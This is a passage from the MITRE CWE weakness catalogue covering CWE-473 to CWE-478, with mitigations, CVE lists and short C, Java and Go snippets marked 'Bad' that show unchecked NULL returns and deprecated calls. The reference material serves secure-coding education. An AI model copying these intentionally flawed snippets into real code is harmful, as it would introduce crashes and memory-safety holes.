[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-473: PHP External Variable Modification

Weakness ID : 473
Structure : Simple
Abstraction : Variant

Description

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	1121
PeerOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	1376
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	236

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Requirements

Phase: Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names. *https://www.cve.org/CVERecord?id=CVE-2000-0860*
CVE-2001-0854	Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent. *https://www.cve.org/CVERecord?id=CVE-2001-0854*
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable. *https://www.cve.org/CVERecord?id=CVE-2002-0764*
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it. *https://www.cve.org/CVERecord?id=CVE-2001-1025*
CVE-2003-0754	Authentication bypass by modifying array used for authentication. *https://www.cve.org/CVERecord?id=CVE-2003-0754*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2416
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Notes

Relationship

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP External Variable Modification

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
77	Manipulating User-Controlled Variables

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID : 474
Structure : Simple

Abstraction : Base

Description

The code uses a function that has inconsistent implementations across operating systems and versions.

Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1582
ParentOf	Ⓥ	589	Call to Non-ubiquitous API	1325

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2482

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : PHP *(Prevalence = Often)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	2323
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Inconsistent Implementations
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-475: Undefined Behavior for Input to API

Weakness ID : 475
Structure : Simple
Abstraction : Base

Description

The behavior of this function is undefined unless its control parameter is set to a specific value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1298

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2482

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	2323
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Undefined Behavior
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-476: NULL Pointer Dereference

Weakness ID : 476
Structure : Simple
Abstraction : Base

Description

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1568
ChildOf	P	710	Improper Adherence to Coding Standards	1549
CanFollow	B	252	Unchecked Return Value	606
CanFollow	V	789	Memory Allocation with Excessive Size Value	1674
CanFollow	B	1325	Improperly Controlled Sequential Memory Allocation	2210

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1568

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Weakness Ordinalities

Resultant : NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Go *(Prevalence = Undetermined)*

Alternate Terms

NPD :

null deref :

nil pointer dereference : used for access of nil in Go programs

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Effectiveness = Moderate

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

Example Language: *(Good)*

```
if (pointer1 != NULL) {
  /* make use of pointer1 */
  /* ... */
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 3:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

Example Language: Java *(Bad)*

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

Example 4:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java *(Bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    if("com.example.URLHandler.openURL".equals(intent.getAction())) {
      String URL = intent.getStringExtra("URLToOpen");
      int length = URL.length();
    ...
    }
  }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Example 5:

Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns.

Example Language: Go *(Bad)*

```
func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {
  response, err := client.Do(request)
  defer response.Body.Close()
  if err != nil {
    return nil, err
  }
  ...
}
```

If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err.

This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response.

Observed Examples

Reference	Description
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking. *https://www.cve.org/CVERecord?id=CVE-2005-3274*
CVE-2002-1912	large number of packets leads to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2002-1912*
CVE-2005-0772	packet with invalid error status value triggers NULL dereference *https://www.cve.org/CVERecord?id=CVE-2005-0772*
CVE-2009-4895	Chain: race condition for an argument value, possibly resulting in NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-4895*
CVE-2020-29652	ssh component for Go allows clients to cause a denial of service (nil pointer dereference) against SSH servers. *https://www.cve.org/CVERecord?id=CVE-2020-29652*
CVE-2009-2692	Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476). *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2009-3547*
CVE-2009-3620	Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-3620*
CVE-2009-2698	Chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-2698*
CVE-2009-2692	Chain: uninitialized function pointers can be dereferenced allowing code execution *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2009-0949	Chain: improper initialization of memory can lead to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-0949*
CVE-2008-3597	Chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2008-3597*
CVE-2020-6078	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2020-6078*
CVE-2008-0062	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. *https://www.cve.org/CVERecord?id=CVE-2008-0062*
CVE-2008-5183	Chain: unchecked return value can lead to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2008-5183*
CVE-2004-0079	SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2004-0079
CVE-2004-0365	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0365*
CVE-2003-1013	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference. *https://www.cve.org/CVERecord?id=CVE-2003-1013*
CVE-2003-1000	Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference. *https://www.cve.org/CVERecord?id=CVE-2003-1000*
CVE-2004-0389	Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0389*
CVE-2004-0119	OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection. *https://www.cve.org/CVERecord?id=CVE-2004-0119*
CVE-2004-0458	Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0458*
CVE-2002-0401	Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference. *https://www.cve.org/CVERecord?id=CVE-2002-0401*
CVE-2001-1559	Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476). *https://www.cve.org/CVERecord?id=CVE-2001-1559*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	2323
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2339
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2341
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2345
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2355
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	2374
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2376
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	2405
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2445
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2455

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Null Dereference
CLASP			Null-pointer dereference
PLOVER			Null Dereference (Null Pointer Dereference)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	EXP34-C	Exact	Do not dereference null pointers
Software Fault Patterns	SFP7		Faulty Pointer Use

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-1031]"Null pointer / Null dereferencing". 2019 July 5. Wikipedia. < https://en.wikipedia.org/wiki/Null_pointer#Null_dereferencing >.

[REF-1032]"Null Reference Creation and Null Pointer Dereference". Apple. < https://developer.apple.com/documentation/xcode/null-reference-creation-and-null-pointer-dereference >.2023-04-07.

[REF-1033]"NULL Pointer Dereference [CWE-476]". 2012 September 1. ImmuniWeb. < https://www.immuniweb.com/vulnerability/null-pointer-dereference.html >.

CWE-477: Use of Obsolete Function

Weakness ID : 477
Structure : Simple
Abstraction : Base

Description

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2482

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Highly cost effective: Origin Analysis

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

Demonstrative Examples

Example 1:

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

Example Language: C *(Bad)*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
  cryptpw=strtok(pwdline, ":");
  pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Example Language: Java *(Bad)*

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Example Language: Java *(Bad)*

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	2323
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2465
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2466
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Obsolete
Software Fault Patterns	SFP3		Use of an improper API
SEI CERT Perl Coding Standard	DCL30-PL	CWE More Specific	Do not import deprecated modules
SEI CERT Perl Coding Standard	EXP30-PL	CWE More Specific	Do not use deprecated or obsolete functions or modules

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security %20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-478: Missing Default Case in Multiple Condition Expression

Weakness ID : 478
Structure : Simple
Abstraction : Base

Description

The code does not have a default case in an expression with multiple conditions, such as a switch statement.

Extended Description

If a multiple-condition expression (such as a switch in C) omits the default case but does not consider or handle all possible values that could occur, then this might lead to complex logical errors and resultant weaknesses. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1023	Incomplete Comparison with Missing Factors	1865

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context Alter Execution Logic *Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Ensure that there are no cases unaccounted for when adjusting program flow or values based on the value of a given variable. In the case of switch style statements, the very simple act of creating a default case can, if done correctly, mitigate this situation. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

Demonstrative Examples

Example 1:

